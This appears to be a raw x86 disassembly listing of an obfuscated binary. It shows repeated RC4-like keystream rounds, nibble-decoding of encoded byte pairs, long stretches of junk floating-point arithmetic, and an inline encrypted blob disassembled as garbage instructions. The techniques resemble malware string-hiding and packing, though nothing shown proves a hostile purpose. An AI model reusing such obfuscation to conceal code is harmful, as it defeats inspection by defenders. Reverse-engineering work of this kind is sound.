mov byte [ebp - 0x3267], dl
mov al, byte [ebp - 0x3261]
add al, 1
mov byte [ebp - 0x3261], al
movzx ecx, byte [ebp - 0x3267]
movzx edx, byte [ebp - 0x3288]
mov al, byte [ebp + ecx - 0x4c28]
mov byte [ebp + edx - 0x4c28], al
movzx ecx, byte [ebp - 0x3268]
movzx edx, byte [ebp - 0x3267]
mov al, byte [ebp + ecx - 0x4c28]
mov byte [ebp + edx - 0x4c28], al
movzx ecx, byte [ebp - 0x3261]
movzx edx, byte [ebp - 0x3268]
mov al, byte [ebp + ecx - 0x4c28]
mov byte [ebp + edx - 0x4c28], al
movzx ecx, byte [ebp - 0x3261]
mov dl, byte [ebp - 0x32a8]
mov byte [ebp + ecx - 0x4c28], dl
movzx eax, byte [ebp - 0x32a8]
movzx ecx, byte [ebp + eax - 0x4c28]
movzx edx, byte [ebp - 0x32a7]
add edx, ecx
mov byte [ebp - 0x32a7], dl
movzx eax, byte [ebp - 0x32a6]
movzx ecx, byte [ebp - 0x3267]
movzx edx, byte [ebp + ecx - 0x4c28]
movzx ecx, byte [ebp - 0x3261]
movzx ecx, byte [ebp + ecx - 0x4c28]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4c28]
xor eax, edx
movzx ecx, byte [ebp - 0x3268]
movzx edx, byte [ebp + ecx - 0x4c28]
movzx ecx, byte [ebp - 0x3288]
movzx ecx, byte [ebp + ecx - 0x4c28]
add edx, ecx
movzx ecx, byte [ebp - 0x32a7]
movzx ecx, byte [ebp + ecx - 0x4c28]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4c28]
movzx ecx, byte [ebp + edx - 0x4c28]
xor eax, ecx
mov byte [ebp - 0x3268], al
mov dl, byte [ebp - 0x32a6]
mov byte [ebp - 0x3288], dl
mov al, byte [ebp - 0x3268]
mov byte [ebp - 0x32fd], al
cmp dword [ebp - 0x3320], 0
jle 0x441ea7
movsx cx, byte [ebp - 0x32fd]
mov edx, dword [ebp - 0x3320]
mov word [ebp + edx*2 - 0x42e], cx
mov eax, dword [ebp - 0x3490]
add eax, 0x1e
mov dword [ebp - 0x3490], eax
mov ecx, dword [ebp - 0x3320]
add ecx, 1
mov dword [ebp - 0x4a90], ecx
jmp 0x441ed6
mov eax, dword [ebp - 0x4a90]
cmp eax, dword [ebp - 0x3490]
jge 0x442add
mov ecx, dword [ebp - 0x3320]
add ecx, 1
mov dword [ebp - 0x3320], ecx
movsd xmm0, qword [0xa6eea8]
movsd qword [ebp - 0x3e6c], xmm0
movsd xmm0, qword [0xa6ed30]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [0xa6eb10]
movsd qword [ebp - 0x3f64], xmm0
movsd xmm0, qword [0xa6e8c8]
movsd qword [ebp - 0x3b10], xmm0
movsd xmm0, qword [ebp - 0x3e6c]
addsd xmm0, qword [ebp - 0x3b10]
movsd qword [ebp - 0x3e6c], xmm0
movsd xmm0, qword [ebp - 0x3a08]
subsd xmm0, qword [ebp - 0x3b10]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3e6c]
subsd xmm0, qword [ebp - 0x3b10]
movsd qword [ebp - 0x3e6c], xmm0
movsd xmm0, qword [ebp - 0x3a08]
addsd xmm0, qword [ebp - 0x3b10]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3e6c]
comisd xmm0, xmmword [ebp - 0x3b10]
jbe 0x44201c
movsd xmm0, qword [ebp - 0x3e6c]
addsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3e6c], xmm0
movsd xmm0, qword [ebp - 0x3b10]
addsd xmm0, qword [ebp - 0x3e6c]
movsd qword [ebp - 0x3b10], xmm0
movsd xmm0, qword [ebp - 0x3a08]
mulsd xmm0, qword [ebp - 0x3f64]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3a08]
addsd xmm0, qword [ebp - 0x3f64]
movsd qword [ebp - 0x3a08], xmm0
mov edx, dword [ebp - 0x3320]
shl edx, 1
mov dword [ebp - 0x35ec], edx
jmp 0x4422e8
movsd xmm0, qword [ebp - 0x3e6c]
addsd xmm0, qword [ebp - 0x3f64]
movsd qword [ebp - 0x3e6c], xmm0
movsd xmm0, qword [ebp - 0x3a08]
mulsd xmm0, qword [ebp - 0x3b10]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3f64]
mulsd xmm0, qword [ebp - 0x3e6c]
movsd qword [ebp - 0x3f64], xmm0
movsd xmm0, qword [ebp - 0x3b10]
divsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3b10], xmm0
movsd xmm0, qword [ebp - 0x3a08]
subsd xmm0, qword [ebp - 0x3b10]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3b10]
mulsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3b10], xmm0
movsd xmm0, qword [ebp - 0x3b10]
subsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3b10], xmm0
movsd xmm0, qword [ebp - 0x3b10]
divsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3b10], xmm0
movsd xmm0, qword [ebp - 0x3a08]
comisd xmm0, xmmword [ebp - 0x3b10]
jbe 0x442288
movsd xmm0, qword [ebp - 0x3b10]
divsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3b10], xmm0
movsd xmm0, qword [ebp - 0x3f64]
subsd xmm0, qword [ebp - 0x3e6c]
movsd qword [ebp - 0x3f64], xmm0
movsd xmm0, qword [ebp - 0x3f64]
divsd xmm0, qword [ebp - 0x3e6c]
movsd qword [ebp - 0x3f64], xmm0
movsd xmm0, qword [ebp - 0x3b10]
mulsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3b10], xmm0
movsd xmm0, qword [ebp - 0x3a08]
subsd xmm0, qword [ebp - 0x3f64]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3a08]
addsd xmm0, qword [ebp - 0x3f64]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3f64]
addsd xmm0, qword [ebp - 0x3b10]
movsd qword [ebp - 0x3f64], xmm0
movsd xmm0, qword [ebp - 0x3a08]
mulsd xmm0, qword [ebp - 0x3f64]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3a08]
comisd xmm0, xmmword [ebp - 0x3b10]
jbe 0x442226
movsd xmm0, qword [ebp - 0x3b10]
divsd xmm0, qword [ebp - 0x3e6c]
movsd qword [ebp - 0x3b10], xmm0
movsd xmm0, qword [ebp - 0x3e6c]
subsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3e6c], xmm0
movsd xmm0, qword [ebp - 0x3a08]
mulsd xmm0, qword [ebp - 0x3f64]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3f64]
mulsd xmm0, qword [ebp - 0x3b10]
movsd qword [ebp - 0x3f64], xmm0
mov eax, dword [ebp - 0x35f0]
add eax, dword [ebp - 0x35ec]
movzx ecx, byte [eax]
mov dword [ebp - 0x359c], ecx
mov dword [ebp - 0x3598], 0x2a
mov edx, dword [ebp - 0x3320]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x35b8], eax
movsd xmm0, qword [0xa6ef68]
movsd qword [ebp - 0x3cb4], xmm0
movsd xmm0, qword [0xa6ee80]
movsd qword [ebp - 0x402c], xmm0
movsd xmm0, qword [0xa6ed78]
movsd qword [ebp - 0x3df4], xmm0
movsd xmm0, qword [0xa6ebb8]
movsd qword [ebp - 0x3988], xmm0
movsd xmm0, qword [0xa6ea38]
movsd qword [ebp - 0x3eb0], xmm0
movsd xmm0, qword [0xa6e7e0]
movsd qword [ebp - 0x3b08], xmm0
movsd xmm0, qword [ebp - 0x402c]
subsd xmm0, qword [ebp - 0x3b08]
movsd qword [ebp - 0x402c], xmm0
movsd xmm0, qword [ebp - 0x3988]
mulsd xmm0, qword [ebp - 0x3b08]
movsd qword [ebp - 0x3988], xmm0
movsd xmm0, qword [ebp - 0x3eb0]
mulsd xmm0, qword [ebp - 0x3b08]
movsd qword [ebp - 0x3eb0], xmm0
movsd xmm0, qword [ebp - 0x3df4]
mulsd xmm0, qword [ebp - 0x3b08]
movsd qword [ebp - 0x3df4], xmm0
movsd xmm0, qword [ebp - 0x3cb4]
addsd xmm0, qword [ebp - 0x3b08]
movsd qword [ebp - 0x3cb4], xmm0
movsd xmm0, qword [ebp - 0x3cb4]
mulsd xmm0, qword [ebp - 0x3b08]
movsd qword [ebp - 0x3cb4], xmm0
movsd xmm0, qword [ebp - 0x3b08]
comisd xmm0, xmmword [ebp - 0x3cb4]
jbe 0x442848
mov edx, dword [ebp - 0x3490]
add edx, 1
mov dword [ebp - 0x3490], edx
mov eax, dword [ebp - 0x3320]
add eax, 1
mov dword [ebp - 0x3320], eax
mov ecx, dword [ebp - 0x3490]
add ecx, 1
mov dword [ebp - 0x3490], ecx
mov edx, dword [ebp - 0x3320]
shl edx, 1
mov dword [ebp - 0x35ec], edx
mov eax, dword [ebp - 0x35f0]
add eax, dword [ebp - 0x35ec]
movzx ecx, byte [eax]
mov dword [ebp - 0x359c], ecx
mov dword [ebp - 0x3598], 0x2a
mov edx, dword [ebp - 0x3320]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x35b8], eax
mov ecx, dword [ebp - 0x35f0]
add ecx, dword [ebp - 0x35b8]
movzx edx, byte [ecx]
mov dword [ebp - 0x3594], edx
mov dword [ebp - 0x3590], 0xa0
mov eax, dword [ebp - 0x359c]
sub eax, dword [ebp - 0x3598]
mov dword [ebp - 0x358c], eax
mov ecx, dword [ebp - 0x3594]
sub ecx, dword [ebp - 0x3590]
mov dword [ebp - 0x3588], ecx
mov edx, dword [ebp - 0x358c]
shl edx, 4
mov dword [ebp - 0x35bc], edx
mov eax, dword [ebp - 0x3588]
mov dword [ebp - 0x35c0], eax
mov ecx, dword [ebp - 0x35bc]
or ecx, dword [ebp - 0x35c0]
mov dword [ebp - 0x35c4], ecx
mov dl, byte [ebp - 0x35c4]
mov byte [ebp - 0x32a6], dl
movzx eax, byte [ebp - 0x3288]
mov cl, byte [ebp + eax - 0x4c28]
mov byte [ebp - 0x32a8], cl
movzx edx, byte [ebp - 0x3261]
movzx eax, byte [ebp + edx - 0x4c28]
movzx ecx, byte [ebp - 0x3267]
add ecx, eax
mov byte [ebp - 0x3267], cl
mov dl, byte [ebp - 0x3261]
add dl, 1
mov byte [ebp - 0x3261], dl
movzx eax, byte [ebp - 0x3267]
movzx ecx, byte [ebp - 0x3288]
mov dl, byte [ebp + eax - 0x4c28]
mov byte [ebp + ecx - 0x4c28], dl
movzx eax, byte [ebp - 0x3268]
movzx ecx, byte [ebp - 0x3267]
mov dl, byte [ebp + eax - 0x4c28]
mov byte [ebp + ecx - 0x4c28], dl
movzx eax, byte [ebp - 0x3261]
movzx ecx, byte [ebp - 0x3268]
mov dl, byte [ebp + eax - 0x4c28]
mov byte [ebp + ecx - 0x4c28], dl
movzx eax, byte [ebp - 0x3261]
mov cl, byte [ebp - 0x32a8]
mov byte [ebp + eax - 0x4c28], cl
movzx edx, byte [ebp - 0x32a8]
movzx eax, byte [ebp + edx - 0x4c28]
movzx ecx, byte [ebp - 0x32a7]
add ecx, eax
mov byte [ebp - 0x32a7], cl
movzx edx, byte [ebp - 0x32a6]
movzx eax, byte [ebp - 0x3267]
movzx ecx, byte [ebp + eax - 0x4c28]
movzx eax, byte [ebp - 0x3261]
movzx eax, byte [ebp + eax - 0x4c28]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4c28]
xor edx, ecx
movzx eax, byte [ebp - 0x3268]
movzx ecx, byte [ebp + eax - 0x4c28]
movzx eax, byte [ebp - 0x3288]
movzx eax, byte [ebp + eax - 0x4c28]
add ecx, eax
movzx eax, byte [ebp - 0x32a7]
movzx eax, byte [ebp + eax - 0x4c28]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4c28]
movzx eax, byte [ebp + ecx - 0x4c28]
xor edx, eax
mov byte [ebp - 0x3268], dl
mov cl, byte [ebp - 0x32a6]
mov byte [ebp - 0x3288], cl
mov dl, byte [ebp - 0x3268]
mov byte [ebp - 0x32fd], dl
cmp dword [ebp - 0x3320], 0
jle 0x442d47
movsx ax, byte [ebp - 0x32fd]
mov ecx, dword [ebp - 0x3320]
mov word [ebp + ecx*2 - 0x42e], ax
mov edx, dword [ebp - 0x3320]
add edx, 1
mov dword [ebp - 0x3320], edx
mov eax, dword [ebp - 0x3490]
add eax, 1
mov dword [ebp - 0x3490], eax
mov ecx, dword [ebp - 0x3320]
shl ecx, 1
mov dword [ebp - 0x35ec], ecx
mov edx, dword [ebp - 0x35f0]
add edx, dword [ebp - 0x35ec]
movzx eax, byte [edx]
mov dword [ebp - 0x359c], eax
mov dword [ebp - 0x3598], 0x2a
mov ecx, dword [ebp - 0x3320]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x35b8], edx
mov eax, dword [ebp - 0x35f0]
add eax, dword [ebp - 0x35b8]
movzx ecx, byte [eax]
mov dword [ebp - 0x3594], ecx
mov dword [ebp - 0x3590], 0xa0
mov edx, dword [ebp - 0x359c]
sub edx, dword [ebp - 0x3598]
mov dword [ebp - 0x358c], edx
mov eax, dword [ebp - 0x3594]
sub eax, dword [ebp - 0x3590]
mov dword [ebp - 0x3588], eax
mov ecx, dword [ebp - 0x358c]
shl ecx, 4
mov dword [ebp - 0x35bc], ecx
mov edx, dword [ebp - 0x3588]
mov dword [ebp - 0x35c0], edx
mov eax, dword [ebp - 0x35bc]
or eax, dword [ebp - 0x35c0]
mov dword [ebp - 0x35c4], eax
mov cl, byte [ebp - 0x35c4]
mov byte [ebp - 0x32a6], cl
movzx edx, byte [ebp - 0x3288]
mov al, byte [ebp + edx - 0x4c28]
mov byte [ebp - 0x32a8], al
movzx ecx, byte [ebp - 0x3261]
movzx edx, byte [ebp + ecx - 0x4c28]
movzx eax, byte [ebp - 0x3267]
add eax, edx
mov byte [ebp - 0x3267], al
mov cl, byte [ebp - 0x3261]
add cl, 1
mov byte [ebp - 0x3261], cl
movzx edx, byte [ebp - 0x3267]
movzx eax, byte [ebp - 0x3288]
mov cl, byte [ebp + edx - 0x4c28]
mov byte [ebp + eax - 0x4c28], cl
movzx edx, byte [ebp - 0x3268]
movzx eax, byte [ebp - 0x3267]
mov cl, byte [ebp + edx - 0x4c28]
mov byte [ebp + eax - 0x4c28], cl
movzx edx, byte [ebp - 0x3261]
movzx eax, byte [ebp - 0x3268]
mov cl, byte [ebp + edx - 0x4c28]
mov byte [ebp + eax - 0x4c28], cl
movzx edx, byte [ebp - 0x3261]
mov al, byte [ebp - 0x32a8]
mov byte [ebp + edx - 0x4c28], al
movzx ecx, byte [ebp - 0x32a8]
movzx edx, byte [ebp + ecx - 0x4c28]
movzx eax, byte [ebp - 0x32a7]
add eax, edx
mov byte [ebp - 0x32a7], al
movzx ecx, byte [ebp - 0x32a6]
movzx edx, byte [ebp - 0x3267]
movzx eax, byte [ebp + edx - 0x4c28]
movzx edx, byte [ebp - 0x3261]
movzx edx, byte [ebp + edx - 0x4c28]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4c28]
xor ecx, eax
movzx edx, byte [ebp - 0x3268]
movzx eax, byte [ebp + edx - 0x4c28]
movzx edx, byte [ebp - 0x3288]
movzx edx, byte [ebp + edx - 0x4c28]
add eax, edx
movzx edx, byte [ebp - 0x32a7]
movzx edx, byte [ebp + edx - 0x4c28]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4c28]
movzx edx, byte [ebp + eax - 0x4c28]
xor ecx, edx
mov byte [ebp - 0x3268], cl
mov al, byte [ebp - 0x32a6]
mov byte [ebp - 0x3288], al
mov cl, byte [ebp - 0x3268]
mov byte [ebp - 0x32fd], cl
cmp dword [ebp - 0x3320], 0
jle 0x442fa0
movsx dx, byte [ebp - 0x32fd]
mov eax, dword [ebp - 0x3320]
mov word [ebp + eax*2 - 0x42e], dx
mov ecx, dword [ebp - 0x3320]
add ecx, 1
mov dword [ebp - 0x3320], ecx
mov edx, dword [ebp - 0x3490]
add edx, 1
mov dword [ebp - 0x3490], edx
mov eax, dword [ebp - 0x3320]
shl eax, 1
mov dword [ebp - 0x35ec], eax
mov ecx, dword [ebp - 0x35f0]
add ecx, dword [ebp - 0x35ec]
movzx edx, byte [ecx]
mov dword [ebp - 0x359c], edx
mov dword [ebp - 0x3598], 0x2a
mov eax, dword [ebp - 0x3320]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x35b8], ecx
mov edx, dword [ebp - 0x35f0]
add edx, dword [ebp - 0x35b8]
movzx eax, byte [edx]
mov dword [ebp - 0x3594], eax
mov dword [ebp - 0x3590], 0xa0
mov ecx, dword [ebp - 0x359c]
sub ecx, dword [ebp - 0x3598]
mov dword [ebp - 0x358c], ecx
mov edx, dword [ebp - 0x3594]
sub edx, dword [ebp - 0x3590]
mov dword [ebp - 0x3588], edx
mov eax, dword [ebp - 0x358c]
shl eax, 4
mov dword [ebp - 0x35bc], eax
mov ecx, dword [ebp - 0x3588]
mov dword [ebp - 0x35c0], ecx
mov edx, dword [ebp - 0x35bc]
or edx, dword [ebp - 0x35c0]
mov dword [ebp - 0x35c4], edx
mov al, byte [ebp - 0x35c4]
mov byte [ebp - 0x32a6], al
movzx ecx, byte [ebp - 0x3288]
mov dl, byte [ebp + ecx - 0x4c28]
mov byte [ebp - 0x32a8], dl
movzx eax, byte [ebp - 0x3261]
movzx ecx, byte [ebp + eax - 0x4c28]
movzx edx, byte [ebp - 0x3267]
add edx, ecx
mov byte [ebp - 0x3267], dl
mov al, byte [ebp - 0x3261]
add al, 1
mov byte [ebp - 0x3261], al
movzx ecx, byte [ebp - 0x3267]
movzx edx, byte [ebp - 0x3288]
mov al, byte [ebp + ecx - 0x4c28]
mov byte [ebp + edx - 0x4c28], al
movzx ecx, byte [ebp - 0x3268]
movzx edx, byte [ebp - 0x3267]
mov al, byte [ebp + ecx - 0x4c28]
mov byte [ebp + edx - 0x4c28], al
movzx ecx, byte [ebp - 0x3261]
movzx edx, byte [ebp - 0x3268]
mov al, byte [ebp + ecx - 0x4c28]
mov byte [ebp + edx - 0x4c28], al
movzx ecx, byte [ebp - 0x3261]
mov dl, byte [ebp - 0x32a8]
mov byte [ebp + ecx - 0x4c28], dl
movzx eax, byte [ebp - 0x32a8]
movzx ecx, byte [ebp + eax - 0x4c28]
movzx edx, byte [ebp - 0x32a7]
add edx, ecx
mov byte [ebp - 0x32a7], dl
movzx eax, byte [ebp - 0x32a6]
movzx ecx, byte [ebp - 0x3267]
movzx edx, byte [ebp + ecx - 0x4c28]
movzx ecx, byte [ebp - 0x3261]
movzx ecx, byte [ebp + ecx - 0x4c28]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4c28]
xor eax, edx
movzx ecx, byte [ebp - 0x3268]
movzx edx, byte [ebp + ecx - 0x4c28]
movzx ecx, byte [ebp - 0x3288]
movzx ecx, byte [ebp + ecx - 0x4c28]
add edx, ecx
movzx ecx, byte [ebp - 0x32a7]
movzx ecx, byte [ebp + ecx - 0x4c28]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4c28]
movzx ecx, byte [ebp + edx - 0x4c28]
xor eax, ecx
mov byte [ebp - 0x3268], al
mov dl, byte [ebp - 0x32a6]
mov byte [ebp - 0x3288], dl
mov al, byte [ebp - 0x3268]
mov byte [ebp - 0x32fd], al
cmp dword [ebp - 0x3320], 0
jle 0x4431fa
mov dword [ebp - 0x48dc], 0
jmp 0x4434a3
mov eax, dword [ebp - 0x48dc]
add eax, 1
mov dword [ebp - 0x48dc], eax
cmp dword [ebp - 0x48dc], 0x44
jge 0x4434df
mov ecx, dword [ebp - 0x48dc]
shl ecx, 1
mov dword [ebp - 0x516c], ecx
cmp dword [ebp - 0x516c], 0x88
jae 0x4434c8
jmp 0x4434cd
call fcn.009f1ed7
xor edx, edx
mov eax, dword [ebp - 0x516c]
mov word [ebp + eax - 0x42c], dx
jmp 0x443494
mov dword [ebp - 0x31cc], 0
mov dword [ebp - 0x31c8], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x477c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x469c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x469c], xmm0
jmp 0x44352e
movsd xmm0, qword [ebp - 0x469c]
addsd xmm0, qword [0xa6e360]
movsd qword [ebp - 0x469c], xmm0
movsd xmm0, qword [0xa6e870]
comisd xmm0, xmmword [ebp - 0x469c]
jbe 0x4435df
movsd xmm0, qword [0xa6e648]
mulsd xmm0, qword [ebp - 0x469c]
mulsd xmm0, qword [ebp - 0x469c]
movsd xmm1, qword [ebp - 0x469c]
mulsd xmm1, qword [ebp - 0x469c]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6e380]
mulsd xmm1, qword [ebp - 0x469c]
mulsd xmm1, qword [ebp - 0x469c]
addsd xmm1, qword [0xa6e470]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x477c]
movsd qword [ebp - 0x477c], xmm0
movsd xmm0, qword [ebp - 0x477c]
comisd xmm0, xmmword [0xa6e598]
jbe 0x4435da
movsd xmm0, qword [0xa6e2a0]
mulsd xmm0, qword [ebp - 0x469c]
movsd xmm1, qword [ebp - 0x477c]
subsd xmm1, xmm0
movsd qword [ebp - 0x477c], xmm1
jmp 0x443516
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x477c]
jbe 0x44363c
jo 0x443636
and dword [esp + ebx*2], edi
insd dword es:[edi], dx
aaa
jne 0x443633
xor byte [edi + 0x5b], ah
dec esi
inc edx
pop ebp
cmp dword [eax], edi
inc edx
xor al, 0x42
jle 0x44367d
pop edx
sub byte cs:[ecx + 0x79], ch
push esp
insb byte es:[edi], dx
cwde
xor al, 0x9c
pushfd
xor edx, dword [esi - 0x69cf64ca]
xor eax, 0x339c3992
pushfd
xor dl, byte [ebp + esi + 0x399b3794]
lcall 0x9631, 0x9b30993c
xor al, 0x8f
xor dl, byte [esi - 0x63c668d2]
xor bl, byte [edx - 0x16c266d0]
out 0x28, al
lcall 0x28e6, 0xe93d9930
cmp eax, 0x28e6e9
add bh, al
test dword [esi + ecx*8], esi
invalid
add byte [eax], al
mov dword [ebp - 0x31cc], 0x44360b
mov dword [ebp - 0x31c8], 0x4435ec
mov ecx, dword [ebp - 0x31cc]
mov dword [ebp - 0x3c78], ecx
mov edx, dword [ebp - 0x31c8]
mov dword [ebp - 0x5f9c], edx
mov byte [ebp - 0x3fe2], 0x23
mov dword [ebp - 0x384c], 0
jmp 0x44368a
mov eax, dword [ebp - 0x384c]
add eax, 1
mov dword [ebp - 0x384c], eax
mov ah, 0xc7
invalid
cmp dword [ebp - 0x384c], 0x100
jae 0x4436ab
mov ecx, dword [ebp - 0x384c]
mov dl, byte [ebp - 0x384c]
mov byte [ebp + ecx - 0x5d38], dl
jmp 0x44367b
mov dword [ebp - 0x4464], 0
mov byte [ebp - 0x3355], 0
mov dword [ebp - 0x384c], 0xff
jmp 0x4436d7
mov eax, dword [ebp - 0x384c]
sub eax, 1
mov dword [ebp - 0x384c], eax
cmp dword [ebp - 0x384c], 0
jbe 0x443947
mov dword [ebp - 0x4a94], 0
mov dword [ebp - 0x48d8], 1
mov ecx, dword [ebp - 0x48d8]
cmp ecx, dword [ebp - 0x384c]
jae 0x443718
mov edx, dword [ebp - 0x48d8]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x48d8], eax
jmp 0x4436f8
mov ecx, dword [ebp - 0x4464]
mov dword [ebp - 0x5168], ecx
cmp dword [ebp - 0x5168], 3
ja case.default.0x443737
mov edx, dword [ebp - 0x5168]
jmp dword [edx*4 + 0x46b580]
movzx eax, byte [ebp - 0x3355]
movzx ebx, byte [ebp + eax - 0x5d38]
movsd xmm0, qword [ebp - 0x477c]
call fcn.009f23b0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3355], bl
jmp 0x443820
movzx ecx, byte [ebp - 0x3355]
movzx ebx, byte [ebp + ecx - 0x5d38]
movsd xmm0, qword [ebp - 0x477c]
call fcn.009f23b0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3355], bl
jmp 0x443820
movzx edx, byte [ebp - 0x3355]
movzx ebx, byte [ebp + edx - 0x5d38]
movsd xmm0, qword [ebp - 0x477c]
call fcn.009f23b0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3355], bl
jmp 0x443820
movzx eax, byte [ebp - 0x3355]
movzx ebx, byte [ebp + eax - 0x5d38]
movsd xmm0, qword [ebp - 0x477c]
call fcn.009f23b0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3355], bl
jmp 0x443820
movzx ecx, byte [ebp - 0x3355]
movzx edx, byte [ebp + ecx - 0x5d38]
mov eax, dword [ebp - 0x5f9c]
add eax, dword [ebp - 0x4464]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x3355], dl
mov edx, dword [ebp - 0x4464]
add edx, 1
mov dword [ebp - 0x4464], edx
movzx eax, byte [ebp - 0x3fe2]
cmp dword [ebp - 0x4464], eax
jb 0x44385e
mov dword [ebp - 0x4464], 0
movzx ecx, byte [ebp - 0x3fe2]
movzx edx, byte [ebp - 0x3355]
add edx, ecx
mov byte [ebp - 0x3355], dl
movzx eax, byte [ebp - 0x3355]
and eax, dword [ebp - 0x48d8]
mov dword [ebp - 0x4318], eax
mov ecx, dword [ebp - 0x4a94]
add ecx, 1
mov dword [ebp - 0x4a94], ecx
cmp dword [ebp - 0x4a94], 0xb
jbe 0x44389d
mov eax, dword [ebp - 0x4318]
xor edx, edx
div dword [ebp - 0x384c]
mov dword [ebp - 0x4318], edx
mov edx, dword [ebp - 0x4318]
cmp edx, dword [ebp - 0x384c]
ja 0x443718
mov eax, dword [ebp - 0x384c]
cmp eax, dword [ebp - 0x4318]
je 0x443942
mov ecx, dword [ebp - 0x4318]
movzx edx, byte [ebp + ecx - 0x5d38]
mov eax, dword [ebp - 0x384c]
movzx ecx, byte [ebp + eax - 0x5d38]
xor ecx, edx
mov edx, dword [ebp - 0x384c]
mov byte [ebp + edx - 0x5d38], cl
mov eax, dword [ebp - 0x384c]
movzx ecx, byte [ebp + eax - 0x5d38]
mov edx, dword [ebp - 0x4318]
movzx eax, byte [ebp + edx - 0x5d38]
xor eax, ecx
mov ecx, dword [ebp - 0x4318]
mov byte [ebp + ecx - 0x5d38], al
mov edx, dword [ebp - 0x4318]
movzx eax, byte [ebp + edx - 0x5d38]
mov ecx, dword [ebp - 0x384c]
movzx edx, byte [ebp + ecx - 0x5d38]
xor edx, eax
mov eax, dword [ebp - 0x384c]
mov byte [ebp + eax - 0x5d38], dl
jmp 0x4436c8
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x5d38]
mov byte [ebp - 0x3289], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x5d38]
mov byte [ebp - 0x32a5], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x5d38]
mov byte [ebp - 0x32fb], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x5d38]
mov byte [ebp - 0x32a4], dl
movzx eax, byte [ebp - 0x3355]
mov cl, byte [ebp + eax - 0x5d38]
mov byte [ebp - 0x32c7], cl
mov dword [ebp - 0x5164], 0x2c
cmp dword [ebp - 0x5164], 2
jle 0x445ece
mov edx, dword [ebp - 0x5164]
and edx, 1
jne 0x445ece
mov dword [ebp - 0x33a8], 0
mov dword [ebp - 0x36b8], 0
mov eax, dword [ebp - 0x36b8]
add eax, 1
mov dword [ebp - 0x36b8], eax
mov dword [ebp - 0x3c8c], 0
mov ecx, dword [ebp - 0x33a8]
shl ecx, 1
mov dword [ebp - 0x3c8c], ecx
mov dword [ebp - 0x3ba0], 0
mov edx, dword [ebp - 0x3c78]
add edx, dword [ebp - 0x3c8c]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3ba0]
mov dword [ebp - 0x3ba0], eax
mov dword [ebp - 0x3ba4], 0
mov ecx, dword [ebp - 0x3ba4]
add ecx, 0x8e
mov dword [ebp - 0x3ba4], ecx
mov dword [ebp - 0x3c88], 0
mov edx, dword [ebp - 0x33a8]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3c88], eax
mov dword [ebp - 0x3b90], 0
mov ecx, dword [ebp - 0x3c78]
add ecx, dword [ebp - 0x3c88]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3b90]
mov dword [ebp - 0x3b90], edx
mov dword [ebp - 0x3bb8], 0
mov eax, dword [ebp - 0x3bb8]
add eax, 0x2e
mov dword [ebp - 0x3bb8], eax
mov dword [ebp - 0x3b3c], 0
mov ecx, dword [ebp - 0x3ba0]
sub ecx, dword [ebp - 0x3ba4]
add ecx, dword [ebp - 0x3b3c]
mov dword [ebp - 0x3b3c], ecx
mov dword [ebp - 0x3b40], 0
mov edx, dword [ebp - 0x3b90]
sub edx, dword [ebp - 0x3bb8]
add edx, dword [ebp - 0x3b40]
mov dword [ebp - 0x3b40], edx
mov dword [ebp - 0x3c84], 0
mov eax, dword [ebp - 0x3b3c]
shl eax, 4
mov dword [ebp - 0x3c84], eax
mov dword [ebp - 0x3c80], 0
mov ecx, dword [ebp - 0x3b40]
mov dword [ebp - 0x3c80], ecx
mov dword [ebp - 0x3c7c], 0
